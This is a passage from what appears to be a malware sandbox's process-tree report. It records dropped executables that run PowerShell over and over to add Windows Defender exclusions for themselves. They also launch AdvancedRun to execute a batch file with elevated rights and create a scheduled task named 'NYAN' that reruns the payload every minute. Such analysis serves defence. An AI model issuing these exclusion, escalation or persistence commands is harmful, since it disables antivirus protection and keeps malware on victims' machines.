    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Ekpldojge.exe" -Force
    3⤵
    PID:11100
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\090fc192O6991cb\svchost.exe" -Force
    3⤵
    PID:13332
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Ekpldojge.exe" -Force
    3⤵
    PID:12604
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\090fc192O6991cb\svchost.exe" -Force
    3⤵
    PID:14396
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\090fc192O6991cb\svchost.exe" -Force
    3⤵
    PID:8316
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Ekpldojge.exe" -Force
    3⤵
    PID:15448
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\090fc192O6991cb\svchost.exe" -Force
    3⤵
    PID:15616
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\090fc192O6991cb\svchost.exe" -Force
    3⤵
    PID:13388
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Ekpldojge.exe" -Force
    3⤵
    PID:12332
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\090fc192O6991cb\svchost.exe" -Force
    3⤵
    PID:7296
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\090fc192O6991cb\svchost.exe" -Force
    3⤵
    PID:18152
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Ekpldojge.exe" -Force
    3⤵
    PID:17996
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\090fc192O6991cb\svchost.exe" -Force
    3⤵
    PID:17808
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\090fc192O6991cb\svchost.exe" -Force
    3⤵
    PID:7104
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Ekpldojge.exe" -Force
    3⤵
    PID:12744
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\090fc192O6991cb\svchost.exe" -Force
    3⤵
    PID:7684
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout 1
    3⤵
    PID:19088
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 1
      4⤵
      Delays execution with timeout.exe
      PID:2660
- - C:\Users\Admin\AppData\Local\Temp\Ekpldojge.exe
    "C:\Users\Admin\AppData\Local\Temp\Ekpldojge.exe"
    3⤵
    PID:10436
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /Delete /tn NYAN /F
      4⤵
      PID:17368
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /tn NYAN /tr "C:\Users\Admin\AppData\Local\Temp\Ekpldojge.exe" /sc minute /mo 1
      4⤵
      Creates scheduled task(s)
      PID:10952
  - - C:\Windows\EdgeBrowser.exe
      "C:\Windows\EdgeBrowser.exe"
      4⤵
      PID:17344
    - - C:\Users\Admin\AppData\Local\Temp\d1e6d478-b49e-4265-b293-bff89e09b17b\AdvancedRun.exe
        
        "C:\Users\Admin\AppData\Local\Temp\d1e6d478-b49e-4265-b293-bff89e09b17b\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\d1e6d478-b49e-4265-b293-bff89e09b17b\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
        5⤵
        
        PID:5012
      - C:\Users\Admin\AppData\Local\Temp\d1e6d478-b49e-4265-b293-bff89e09b17b\AdvancedRun.exe
        
        "C:\Users\Admin\AppData\Local\Temp\d1e6d478-b49e-4265-b293-bff89e09b17b\AdvancedRun.exe" /SpecialRun 4101d8 5012
        6⤵
        
        PID:9532
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\EdgeBrowser.exe" -Force
        5⤵
        
        PID:11124
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\090fc192O6991cb\svchost.exe" -Force
        5⤵
        
        PID:9384
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\EdgeBrowser.exe" -Force
        5⤵
        
        PID:13360
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\090fc192O6991cb\svchost.exe" -Force
        5⤵
        
        PID:11880
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\EdgeBrowser.exe" -Force
        5⤵
        
        PID:12540
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\090fc192O6991cb\svchost.exe" -Force
        5⤵
        
        PID:16532
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\090fc192O6991cb\svchost.exe" -Force
        5⤵
        
        PID:12144
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\EdgeBrowser.exe" -Force
        5⤵
        
        PID:11828
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\090fc192O6991cb\svchost.exe" -Force
        5⤵
        
        PID:20892
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\EdgeBrowser.exe" -Force
        5⤵
        
        PID:20912
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\090fc192O6991cb\svchost.exe" -Force
        5⤵
        
        PID:20948
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\090fc192O6991cb\svchost.exe" -Force
        5⤵
        
        PID:20860
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\EdgeBrowser.exe" -Force
        5⤵
        
        PID:20836
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\090fc192O6991cb\svchost.exe" -Force
        5⤵
        
        PID:18328
- C:\Users\Admin\AppData\Local\Temp\Sthz.exe
  "C:\Users\Admin\AppData\Local\Temp\Sthz.exe"
  2⤵
  - Executes dropped EXE
  - Drops startup file
  - Windows security modification
  - Suspicious use of WriteProcessMemory
  PID:348
- - C:\Users\Admin\AppData\Local\Temp\d300ec3e-ed69-46b8-b1ba-1c43facfba6a\AdvancedRun.exe
    "C:\Users\Admin\AppData\Local\Temp\d300ec3e-ed69-46b8-b1ba-1c43facfba6a\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\d300ec3e-ed69-46b8-b1ba-1c43facfba6a\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2288
  - - C:\Users\Admin\AppData\Local\Temp\d300ec3e-ed69-46b8-b1ba-1c43facfba6a\AdvancedRun.exe
      "C:\Users\Admin\AppData\Local\Temp\d300ec3e-ed69-46b8-b1ba-1c43facfba6a\AdvancedRun.exe" /SpecialRun 4101d8 2288
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4100
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\7Wa3tbeb04Gaz1bBq5198183RN1p1f056L5ef1dPd84w5x5c1.exe" -Force
    3⤵
    PID:2784
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Sthz.exe" -Force
    3⤵
    PID:4988
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Sthz.exe" -Force
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4824
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\7Wa3tbeb04Gaz1bBq5198183RN1p1f056L5ef1dPd84w5x5c1.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\7Wa3tbeb04Gaz1bBq5198183RN1p1f056L5ef1dPd84w5x5c1.exe"
    3⤵
    - Executes dropped EXE
    PID:2444
  - - C:\Users\Admin\AppData\Local\Temp\195a5f37-0f8f-4c70-9db3-f7da5290887d\AdvancedRun.exe
      "C:\Users\Admin\AppData\Local\Temp\195a5f37-0f8f-4c70-9db3-f7da5290887d\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\195a5f37-0f8f-4c70-9db3-f7da5290887d\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
      4⤵
      PID:3308
    - - C:\Users\Admin\AppData\Local\Temp\195a5f37-0f8f-4c70-9db3-f7da5290887d\AdvancedRun.exe
        
        "C:\Users\Admin\AppData\Local\Temp\195a5f37-0f8f-4c70-9db3-f7da5290887d\AdvancedRun.exe" /SpecialRun 4101d8 3308
        5⤵
        
        PID:4916
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\7Wa3tbeb04Gaz1bBq5198183RN1p1f056L5ef1dPd84w5x5c1.exe" -Force
      4⤵
      PID:6484
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\7Wa3tbeb04Gaz1bBq5198183RN1p1f056L5ef1dPd84w5x5c1.exe" -Force
      4⤵
      PID:6388
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\Sn183Gzra1GfPFG806O88r543WcE3L1a044vs3b4w51rwpo\svchost.exe" -Force
      4⤵
      PID:6616
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\Sn183Gzra1GfPFG806O88r543WcE3L1a044vs3b4w51rwpo\svchost.exe" -Force
      4⤵
      PID:6880
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\7Wa3tbeb04Gaz1bBq5198183RN1p1f056L5ef1dPd84w5x5c1.exe" -Force
      4⤵
      PID:6752
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\Sn183Gzra1GfPFG806O88r543WcE3L1a044vs3b4w51rwpo\svchost.exe" -Force
      4⤵
      PID:8996
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\7Wa3tbeb04Gaz1bBq5198183RN1p1f056L5ef1dPd84w5x5c1.exe" -Force
      4⤵
      PID:9024
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\Sn183Gzra1GfPFG806O88r543WcE3L1a044vs3b4w51rwpo\svchost.exe" -Force
      4⤵
      PID:9056
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\Sn183Gzra1GfPFG806O88r543WcE3L1a044vs3b4w51rwpo\svchost.exe" -Force
      4⤵
      PID:9360
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\7Wa3tbeb04Gaz1bBq5198183RN1p1f056L5ef1dPd84w5x5c1.exe" -Force
      4⤵
      PID:9436
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\Sn183Gzra1GfPFG806O88r543WcE3L1a044vs3b4w51rwpo\svchost.exe" -Force
      4⤵
      PID:9476
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\Sn183Gzra1GfPFG806O88r543WcE3L1a044vs3b4w51rwpo\svchost.exe" -Force
      4⤵
      PID:11644
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\7Wa3tbeb04Gaz1bBq5198183RN1p1f056L5ef1dPd84w5x5c1.exe" -Force
      4⤵
      PID:11704
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\Sn183Gzra1GfPFG806O88r543WcE3L1a044vs3b4w51rwpo\svchost.exe" -Force
      4⤵
      PID:11744
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\Sn183Gzra1GfPFG806O88r543WcE3L1a044vs3b4w51rwpo\svchost.exe" -Force
      4⤵
      PID:12212
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\7Wa3tbeb04Gaz1bBq5198183RN1p1f056L5ef1dPd84w5x5c1.exe" -Force
      4⤵
      PID:5832
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\Sn183Gzra1GfPFG806O88r543WcE3L1a044vs3b4w51rwpo\svchost.exe" -Force
      4⤵
      PID:10132
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\Sn183Gzra1GfPFG806O88r543WcE3L1a044vs3b4w51rwpo\svchost.exe" -Force
      4⤵
      PID:15316
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\7Wa3tbeb04Gaz1bBq5198183RN1p1f056L5ef1dPd84w5x5c1.exe" -Force
      4⤵
      PID:928
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\Sn183Gzra1GfPFG806O88r543WcE3L1a044vs3b4w51rwpo\svchost.exe" -Force
      4⤵
      PID:14968
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\Sn183Gzra1GfPFG806O88r543WcE3L1a044vs3b4w51rwpo\svchost.exe" -Force
      4⤵
      PID:13408
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\7Wa3tbeb04Gaz1bBq5198183RN1p1f056L5ef1dPd84w5x5c1.exe" -Force
      4⤵
      PID:12404
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\Sn183Gzra1GfPFG806O88r543WcE3L1a044vs3b4w51rwpo\svchost.exe" -Force
      4⤵
      PID:12708
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\Sn183Gzra1GfPFG806O88r543WcE3L1a044vs3b4w51rwpo\svchost.exe" -Force
      4⤵
      PID:17048
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\7Wa3tbeb04Gaz1bBq5198183RN1p1f056L5ef1dPd84w5x5c1.exe" -Force
      4⤵
      PID:10568
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\Sn183Gzra1GfPFG806O88r543WcE3L1a044vs3b4w51rwpo\svchost.exe" -Force
      4⤵
      PID:11072
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\Sn183Gzra1GfPFG806O88r543WcE3L1a044vs3b4w51rwpo\svchost.exe" -Force
      4⤵
      PID:17648
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\7Wa3tbeb04Gaz1bBq5198183RN1p1f056L5ef1dPd84w5x5c1.exe" -Force
      4⤵
      PID:17772
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\Sn183Gzra1GfPFG806O88r543WcE3L1a044vs3b4w51rwpo\svchost.exe" -Force
      4⤵
      PID:17872
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\Sn183Gzra1GfPFG806O88r543WcE3L1a044vs3b4w51rwpo\svchost.exe" -Force
      4⤵
      PID:18812
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\7Wa3tbeb04Gaz1bBq5198183RN1p1f056L5ef1dPd84w5x5c1.exe" -Force
      4⤵
      PID:18848
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\Sn183Gzra1GfPFG806O88r543WcE3L1a044vs3b4w51rwpo\svchost.exe" -Force
      4⤵
      PID:18880
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c timeout 1
      4⤵
      PID:7944
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout 1
        5⤵
        Delays execution with timeout.exe
        
        PID:7500
  - - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\7Wa3tbeb04Gaz1bBq5198183RN1p1f056L5ef1dPd84w5x5c1.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\7Wa3tbeb04Gaz1bBq5198183RN1p1f056L5ef1dPd84w5x5c1.exe"
      4⤵
      PID:17280
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /Delete /tn NYAN /F
        5⤵
        
        PID:11324
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn NYAN /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\7Wa3tbeb04Gaz1bBq5198183RN1p1f056L5ef1dPd84w5x5c1.exe" /sc minute /mo 1
        5⤵
        Creates scheduled task(s)
        
        PID:20240
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\Sn183Gzra1GfPFG806O88r543WcE3L1a044vs3b4w51rwpo\svchost.exe" -Force
    3⤵
    PID:5196
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Sthz.exe" -Force
    3⤵
    PID:4852
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\7Wa3tbeb04Gaz1bBq5198183RN1p1f056L5ef1dPd84w5x5c1.exe" -Force
    3⤵
    PID:4508
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\Sn183Gzra1GfPFG806O88r543WcE3L1a044vs3b4w51rwpo\svchost.exe" -Force
    3⤵
    PID:5468
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Sthz.exe" -Force
    3⤵
    PID:5360
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\Sn183Gzra1GfPFG806O88r543WcE3L1a044vs3b4w51rwpo\svchost.exe" -Force
    3⤵
    PID:7892
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Sthz.exe" -Force
    3⤵
    PID:7968
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\Sn183Gzra1GfPFG806O88r543WcE3L1a044vs3b4w51rwpo\svchost.exe" -Force
    3⤵
    PID:7996
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\Sn183Gzra1GfPFG806O88r543WcE3L1a044vs3b4w51rwpo\svchost.exe" -Force
    3⤵
    PID:7580
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Sthz.exe" -Force
    3⤵
    PID:7180
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\Sn183Gzra1GfPFG806O88r543WcE3L1a044vs3b4w51rwpo\svchost.exe" -Force
    3⤵
    PID:7200
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\Sn183Gzra1GfPFG806O88r543WcE3L1a044vs3b4w51rwpo\svchost.exe" -Force
    3⤵
    PID:8140
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
